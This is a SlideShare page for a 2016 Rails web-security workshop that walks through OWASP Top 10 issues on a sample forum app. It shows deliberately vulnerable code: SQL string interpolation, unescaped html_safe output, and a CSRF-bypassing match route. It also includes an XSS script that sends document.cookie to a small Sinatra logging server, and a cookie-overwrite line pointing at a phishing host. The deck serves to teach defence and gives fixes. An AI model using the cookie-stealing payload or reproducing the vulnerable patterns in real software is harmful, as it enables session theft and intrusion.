SlideShare a Scribd company logo
Web applications hacking
Ruby on Rails example
● Software House located in Krakow
● Ruby on Rails, Android and iOS
● Specialized in building web and mobile applications
● Collaborating with many companies and startups from all over
the world
ABOUT US:
2009 - software house was founded
50 projects created
40 developers
Awards:
OUR HISTORY:
Top Web & Software Developers
in Poland 2015
Top Tens Ruby on Rails
Development Companies
HOMEAHEAD
PROEST
Software for
gastronomy
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
OWASP TOP 10
1. Injection
2. Broken authentication and session management
3. Cross-Site Scripting
4. Insecure direct object reference
5. Security misconfiguration
6. Sensitive data exposure
7. Missing function level access control
8. Cross-Site Request Forgery
9. Using components with known vulnerabilities
10. Unvalidated redirects and forwards
Target Application
Simple Ruby on Rails forum
Ruby 2.3.0
Rails 4.2.6
PostgreSQL 9.4
PostgreSQL Database schema
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
# app/controllers/forum_threads_controller.rb
class ForumThreadsController < ApplicationController
def show
@thread = ForumThread.find_by title: params[:title]
end
end
# config/routes.rb
resources :forum_threads, param: :title, only: :show do
resources :comments, only: :create
end
SEARCHING THE FORUM THREAD BY TITLE:
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
# app/controllers/forum_threads_controller.rb
class ForumThreadsController < ApplicationController
def show
@thread = ForumThread.find_by “title = #{params[:title]}”
end
end
# config/routes.rb
resources :forum_threads, param: :title, only: :show do
resources :comments, only: :create
end
SEARCHING THE FORUM THREAD BY TITLE:
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Is SQL injection
impossible in Rails?
Unfortunately, no.
It’s possible,
just not dropping tables.
Further reading:
rails-sqli.org
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
# app/controllers/comments_controller.rb
class CommentsController < ApplicationController
def create
@thread = ForumThread.find params[:forum_thread_id]
@comments = @thread.comments.build comment_params
@comments.user = current_user
if @comment.save
redirect_to @thread, notice: ‘Successfully added new comment’
else
redirect_to @thread, alert: “Couldn’t save comment“
end
end
private
def comment_params
params.require(:comment).permit(:content)
end
end
# app/views/forum_threads/show.haml
%p= comment.content
COMMENTS - create and show:
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
# app/controllers/comments_controller.rb
class CommentsController < ApplicationController
def create
@thread = ForumThread.find params[:forum_thread_id]
@comments = @thread.comments.build comment_params
@comments.user = current_user
if @comment.save
redirect_to @thread, notice: ‘Successfully added new comment’
else
redirect_to @thread, alert: “Couldn’t save comment“
end
end
private
def comment_params
params.require(:comment).permit(:content)
end
end
# app/views/forum_threads/show.haml
%p= comment.content.html_safe
COMMENTS - create and show:
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
<!-- XSS test -->
Hi guys!
<script> alert(“I came for your cookies!“) </script>
<!-- Time to get some cookies! -->
What’s up?
<script>
xhttp = new XMLHttpRequest();
xhttp.open(“GET”, “http://localhost:4567/cookies/” + document.cookie);
xhttp.send();
</script>
XSS ATTACK - TEST AND STEALING COOKIES
require ‘sinatra’
require ‘logger’
logger = Logger.new ‘log/cookies.log’
get ‘/cookies/:cookie’ do
logger.info ‘=== COOKIE ===’
logger.info params[:cookie]
logger.info ‘/== COOKIE ===’
end
XSS ATTACK - SIMPLE COOKIES LOGGING SERVER
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Are all cookies HTTPOnly
in Rails?
cookies[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’
// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”
cookies.signed[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’
// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”
cookies.signed[:after_sign_in_path] = {
value: ‘http://localhost/after_sign_in_path’,
httponly: true
}
// finally safe
UNFORTUNATELY - NO. ALWAYS USE THIS HASH!
It’s safe from cookies stealing,
but is it safe from XSS?
# app/controllers/comments_controller.rb
class CommentsController < ApplicationController
def create
@thread = ForumThread.find params[:forum_thread_id]
@comments = @thread.comments.build comment_params
@comments.user = current_user
if @comment.save
redirect_to @thread, notice: ‘Successfully added new comment’
else
redirect_to @thread, alert: “Couldn’t save comment“
end
end
private
def comment_params
params.require(:comment).permit(:content)
end
end
# app/views/forum_threads/show.haml
%p= sanitize comment.content.html_safe
COMMENTS - create and show:
Further reading:
molily.de/xss/
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
# Prevent CSRF attacks by raising an exception.
# For APIs you may want to use :null_session instead.
protect_from_forgery with: :exception
end
DEFAULT CSRF PROTECTION IN RAILS:
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Is Rails CSRF protection
unbreakable?
HTTP Verbs
● GET
● POST
● PUT
● PATCH
● DELETE
● HEAD
● OPTIONS
● TRACE
● CONNECT
HTTP Verbs NOT protected by Rails CSRF
● GET
● POST
● PUT
● PATCH
● DELETE
● HEAD
● OPTIONS
● TRACE
● CONNECT
CSRF pitfall
in Rails routing
# config/routes.rb
match ‘/forum_threads/:forum_thread_id/comments/:id/update’,
to: ‘comments#update’,
via: :all # Rails 4+
CSRF PITFALL IN RAILS ROUTING - MATCH:
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Is Rails CSRF protection
100% safe?
Yes it is - unless you’re
not staying close to Rails guides
Further reading:
https://rorsecurity.info/portfolio/cross-site-
request-forgery-and-rails
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Sensitive data exposure
1. Credentials leaking to public repositories.
2. Lack of proper in-app authorization.
3. Debugging information in production enviroments.
4. Access not restricted, wrong access privileges.
5. Lack of encryption.
6. API responses containing sensitive data.
Protecting against sensitive data exposure
1. Code reviews.
2. Careful authorization.
3. Strict access.
4. Encryption.
5. API exposing only necessary information.
Creating the secure API
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
# app/controllers/forum_threads_controller.rb
def index
@threads = ForumThread.order(updated_at: :desc)
respond_to do |format|
format.html
format.json { render json: @threads }
end
end
GENERATED RAILS API
[
{
”id”: 2,
”title”: "Curabitur vel vulputate libero.",
”created_at”: "2016-04-18T10:10:40.648Z",
”updated_at”: "2016-04-18T10:10:40.648Z"
},
{
"id": 1,
"title": "Lorem ipsum dolor sit amet.",
"created_at": "2016-04-18T10:10:40.607Z",
"updated_at": "2016-04-18T10:10:40.607Z"
}
]
GENERATED RAILS API - OUTPUT
# app/controllers/forum_threads_controller.rb
def index
@threads = ForumThread.order(updated_at: :desc)
respond_to do |format|
format.html
format.json { render json: @threads.only(:title).to_json }
end
end
GENERATED RAILS API - SECURING THE OUTPUT
[
{
”title”: "Curabitur vel vulputate libero."
},
{
"title": "Lorem ipsum dolor sit amet."
}
]
GENERATED RAILS API - SECURED OUTPUT
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Solutions for building pretty, secure APIs
Active Model Serializers
● Object Oriented approach
● Ability to define decorating methods
● All Ruby!
● Flexible
● Easy to test
● Adapter to follow JSON API v1.0 schema
● YARD documented
Jbuilder
● Templates approach
● ERblike - might be easy for newcomers
● Flexible
● Hard to test
● No real “adapter” - if you want JSON
API v1.0, you have to do it by yourself
Summary
Things to remember from this workshop:
1. Never trust anything that comes from user. Params, cookies, headers,
everything. Nothing that comes from user is safe to use.
2. Always sanitize your HTML output. Especially when you’re allowing
links or images that comes from user.
3. Be careful with match routing. Just don’t use it if you don’t have to.
4. Inspect your outputs. Return only necessary information from your API.
5. Last but not least. Get someone to review your code.
Thank you for your attention.
Na zjeździe 11
30-527 Krakow, Poland
tel: +48 12 391 60 76
Silicon Valley
Acceleration Center.
180 Sansome Street
San Francisco, CA 94104
tel: 1-415-449-4791
info@railwaymen.org
www.railwaymen.org
@Railwaymen_org
railwaymen.software.development
/company/railwaymen

More Related Content

PDF
RoR Workshop - Web applications hacking - Ruby on Rails example
PPTX
How to CASifying PeopleSoft and Integrating CAS and ADFS
PDF
Hunting for security bugs in AEM webapps
PDF
What’s new in cas 4.2
PDF
Step by step to install exchange server 2013 sp1
PPTX
Malware Detection with OSSEC HIDS - OSSECCON 2014
PDF
FOSSASIA 2021 - CAS
PDF
Apereo CAS 2020 - ESUP Days #31
RoR Workshop - Web applications hacking - Ruby on Rails example
How to CASifying PeopleSoft and Integrating CAS and ADFS
Hunting for security bugs in AEM webapps
What’s new in cas 4.2
Step by step to install exchange server 2013 sp1
Malware Detection with OSSEC HIDS - OSSECCON 2014
FOSSASIA 2021 - CAS
Apereo CAS 2020 - ESUP Days #31

What's hot (20)

PDF
Getting Started with CAS
PDF
Apereo CAS: State of the Project 2018
PDF
Webscraping with asyncio
PPTX
Vulnerability intelligence with vulners.com / Кирилл Ермаков, Игорь Булатенко...
PPS
Hacking Client Side Insecurities
PPTX
Spa Secure Coding Guide
PPTX
Intro to Deception techniques - Honey-*
PPTX
An introduction to php shells
DOCX
How to use proxy server in .net application
PDF
Open Canary - novahackers
PPTX
Construindo APIs Usando Rails
PPTX
Vault - Secret and Key Management
PDF
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
PPTX
Introduksjon til web sikkerhet
PDF
Owning the bad guys
PDF
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
ODP
Алексей Колосов - Drupal для хостинга
PDF
HashiCorp's Vault - The Examples
PDF
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
Getting Started with CAS
Apereo CAS: State of the Project 2018
Webscraping with asyncio
Vulnerability intelligence with vulners.com / Кирилл Ермаков, Игорь Булатенко...
Hacking Client Side Insecurities
Spa Secure Coding Guide
Intro to Deception techniques - Honey-*
An introduction to php shells
How to use proxy server in .net application
Open Canary - novahackers
Construindo APIs Usando Rails
Vault - Secret and Key Management
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
Introduksjon til web sikkerhet
Owning the bad guys
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Алексей Колосов - Drupal для хостинга
HashiCorp's Vault - The Examples
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson

Similar to Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example (20)

PDF
Introduction to Infrastructure as Code & Automation / Introduction to Chef
PPTX
Session: A Reference Architecture for Running Modern APIs with NGINX Unit and...
PDF
MesosCon - Be a microservices hero
PDF
The top 10 security issues in web applications
PPTX
2023-May.pptx
KEY
Html 5 boot camp
PDF
Automated infrastructure is on the menu
PPTX
Everybody loves html5,h4ck3rs too
PPTX
Welcome Firefox OS in india with your app - Mumbai Firefox OS hackathon - 201...
PDF
HTML for the Mobile Web, Firefox OS
PPTX
Federico Michele Facca - FIWARE Primer - Learn FIWARE in 60 Minutes
PPTX
FIWARE Primer - Learn FIWARE in 60 Minutes
PDF
how to use openstack api
PDF
Apidaze WebRTC Workshop barcelona 21st april 2013
PDF
Open Source Identity Integration with OpenSSO
PDF
Romulus OWASP
PDF
Integrating WordPress With Web APIs
PPTX
Solving anything in VCL
PDF
OSINT tools for security auditing with python
PDF
Web APIs & Apps - Mozilla
Introduction to Infrastructure as Code & Automation / Introduction to Chef
Session: A Reference Architecture for Running Modern APIs with NGINX Unit and...
MesosCon - Be a microservices hero
The top 10 security issues in web applications
2023-May.pptx
Html 5 boot camp
Automated infrastructure is on the menu
Everybody loves html5,h4ck3rs too
Welcome Firefox OS in india with your app - Mumbai Firefox OS hackathon - 201...
HTML for the Mobile Web, Firefox OS
Federico Michele Facca - FIWARE Primer - Learn FIWARE in 60 Minutes
FIWARE Primer - Learn FIWARE in 60 Minutes
how to use openstack api
Apidaze WebRTC Workshop barcelona 21st april 2013
Open Source Identity Integration with OpenSSO
Romulus OWASP
Integrating WordPress With Web APIs
Solving anything in VCL
OSINT tools for security auditing with python
Web APIs & Apps - Mozilla

Recently uploaded (20)

PPTX
L1 - Introduction to python Backend.pptx
PPTX
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
PDF
Odoo Companies in India – Driving Business Transformation.pdf
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PDF
Which alternative to Crystal Reports is best for small or large businesses.pdf
PPTX
Reimagine Home Health with the Power of Agentic AI​
PDF
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
PDF
Softaken Excel to vCard Converter Software.pdf
PPTX
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
PPTX
Transform Your Business with a Software ERP System
PDF
Digital Strategies for Manufacturing Companies
PDF
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PPTX
assetexplorer- product-overview - presentation
PDF
System and Network Administration Chapter 2
PDF
System and Network Administraation Chapter 3
PPT
Introduction Database Management System for Course Database
L1 - Introduction to python Backend.pptx
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
Odoo Companies in India – Driving Business Transformation.pdf
Internet Downloader Manager (IDM) Crack 6.42 Build 41
Which alternative to Crystal Reports is best for small or large businesses.pdf
Reimagine Home Health with the Power of Agentic AI​
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
Softaken Excel to vCard Converter Software.pdf
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
Transform Your Business with a Software ERP System
Digital Strategies for Manufacturing Companies
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
Design an Analysis of Algorithms I-SECS-1021-03
2025 Textile ERP Trends: SAP, Odoo & Oracle
Design an Analysis of Algorithms II-SECS-1021-03
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
assetexplorer- product-overview - presentation
System and Network Administration Chapter 2
System and Network Administraation Chapter 3
Introduction Database Management System for Course Database

Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example

  • 1. Web applications hacking Ruby on Rails example
  • 2. ● Software House located in Krakow ● Ruby on Rails, Android and iOS ● Specialized in building web and mobile applications ● Collaborating with many companies and startups from all over the world ABOUT US:
  • 3. 2009 - software house was founded 50 projects created 40 developers Awards: OUR HISTORY: Top Web & Software Developers in Poland 2015 Top Tens Ruby on Rails Development Companies
  • 8. OWASP TOP 10 1. Injection 2. Broken authentication and session management 3. Cross-Site Scripting 4. Insecure direct object reference 5. Security misconfiguration 6. Sensitive data exposure 7. Missing function level access control 8. Cross-Site Request Forgery 9. Using components with known vulnerabilities 10. Unvalidated redirects and forwards
  • 10. Simple Ruby on Rails forum Ruby 2.3.0 Rails 4.2.6 PostgreSQL 9.4
  • 15. # app/controllers/forum_threads_controller.rb class ForumThreadsController < ApplicationController def show @thread = ForumThread.find_by title: params[:title] end end # config/routes.rb resources :forum_threads, param: :title, only: :show do resources :comments, only: :create end SEARCHING THE FORUM THREAD BY TITLE:
  • 17. # app/controllers/forum_threads_controller.rb class ForumThreadsController < ApplicationController def show @thread = ForumThread.find_by “title = #{params[:title]}” end end # config/routes.rb resources :forum_threads, param: :title, only: :show do resources :comments, only: :create end SEARCHING THE FORUM THREAD BY TITLE:
  • 24. # app/controllers/comments_controller.rb class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end private def comment_params params.require(:comment).permit(:content) end end # app/views/forum_threads/show.haml %p= comment.content COMMENTS - create and show:
  • 26. # app/controllers/comments_controller.rb class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end private def comment_params params.require(:comment).permit(:content) end end # app/views/forum_threads/show.haml %p= comment.content.html_safe COMMENTS - create and show:
  • 28. <!-- XSS test --> Hi guys! <script> alert(“I came for your cookies!“) </script> <!-- Time to get some cookies! --> What’s up? <script> xhttp = new XMLHttpRequest(); xhttp.open(“GET”, “http://localhost:4567/cookies/” + document.cookie); xhttp.send(); </script> XSS ATTACK - TEST AND STEALING COOKIES
  • 29. require ‘sinatra’ require ‘logger’ logger = Logger.new ‘log/cookies.log’ get ‘/cookies/:cookie’ do logger.info ‘=== COOKIE ===’ logger.info params[:cookie] logger.info ‘/== COOKIE ===’ end XSS ATTACK - SIMPLE COOKIES LOGGING SERVER
  • 32. Are all cookies HTTPOnly in Rails?
  • 33. cookies[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’ // document.cookies=”after_sign_in_path=’http://malicious.site/phishing’” cookies.signed[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’ // document.cookies=”after_sign_in_path=’http://malicious.site/phishing’” cookies.signed[:after_sign_in_path] = { value: ‘http://localhost/after_sign_in_path’, httponly: true } // finally safe UNFORTUNATELY - NO. ALWAYS USE THIS HASH!
  • 34. It’s safe from cookies stealing, but is it safe from XSS?
  • 35. # app/controllers/comments_controller.rb class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end private def comment_params params.require(:comment).permit(:content) end end # app/views/forum_threads/show.haml %p= sanitize comment.content.html_safe COMMENTS - create and show:
  • 38. # app/controllers/application_controller.rb class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising an exception. # For APIs you may want to use :null_session instead. protect_from_forgery with: :exception end DEFAULT CSRF PROTECTION IN RAILS:
  • 40. Is Rails CSRF protection unbreakable?
  • 41. HTTP Verbs ● GET ● POST ● PUT ● PATCH ● DELETE ● HEAD ● OPTIONS ● TRACE ● CONNECT
  • 42. HTTP Verbs NOT protected by Rails CSRF ● GET ● POST ● PUT ● PATCH ● DELETE ● HEAD ● OPTIONS ● TRACE ● CONNECT
  • 44. # config/routes.rb match ‘/forum_threads/:forum_thread_id/comments/:id/update’, to: ‘comments#update’, via: :all # Rails 4+ CSRF PITFALL IN RAILS ROUTING - MATCH:
  • 47. Is Rails CSRF protection 100% safe?
  • 48. Yes it is - unless you’re not staying close to Rails guides
  • 51. Sensitive data exposure 1. Credentials leaking to public repositories. 2. Lack of proper in-app authorization. 3. Debugging information in production enviroments. 4. Access not restricted, wrong access privileges. 5. Lack of encryption. 6. API responses containing sensitive data.
  • 52. Protecting against sensitive data exposure 1. Code reviews. 2. Careful authorization. 3. Strict access. 4. Encryption. 5. API exposing only necessary information.
  • 56. # app/controllers/forum_threads_controller.rb def index @threads = ForumThread.order(updated_at: :desc) respond_to do |format| format.html format.json { render json: @threads } end end GENERATED RAILS API
  • 57. [ { ”id”: 2, ”title”: "Curabitur vel vulputate libero.", ”created_at”: "2016-04-18T10:10:40.648Z", ”updated_at”: "2016-04-18T10:10:40.648Z" }, { "id": 1, "title": "Lorem ipsum dolor sit amet.", "created_at": "2016-04-18T10:10:40.607Z", "updated_at": "2016-04-18T10:10:40.607Z" } ] GENERATED RAILS API - OUTPUT
  • 58. # app/controllers/forum_threads_controller.rb def index @threads = ForumThread.order(updated_at: :desc) respond_to do |format| format.html format.json { render json: @threads.only(:title).to_json } end end GENERATED RAILS API - SECURING THE OUTPUT
  • 59. [ { ”title”: "Curabitur vel vulputate libero." }, { "title": "Lorem ipsum dolor sit amet." } ] GENERATED RAILS API - SECURED OUTPUT
  • 61. Solutions for building pretty, secure APIs Active Model Serializers ● Object Oriented approach ● Ability to define decorating methods ● All Ruby! ● Flexible ● Easy to test ● Adapter to follow JSON API v1.0 schema ● YARD documented Jbuilder ● Templates approach ● ERblike - might be easy for newcomers ● Flexible ● Hard to test ● No real “adapter” - if you want JSON API v1.0, you have to do it by yourself
  • 63. Things to remember from this workshop: 1. Never trust anything that comes from user. Params, cookies, headers, everything. Nothing that comes from user is safe to use. 2. Always sanitize your HTML output. Especially when you’re allowing links or images that comes from user. 3. Be careful with match routing. Just don’t use it if you don’t have to. 4. Inspect your outputs. Return only necessary information from your API. 5. Last but not least. Get someone to review your code.
  • 64. Thank you for your attention.
  • 65. Na zjeździe 11 30-527 Krakow, Poland tel: +48 12 391 60 76 Silicon Valley Acceleration Center. 180 Sansome Street San Francisco, CA 94104 tel: 1-415-449-4791 [email protected] www.railwaymen.org @Railwaymen_org railwaymen.software.development /company/railwaymen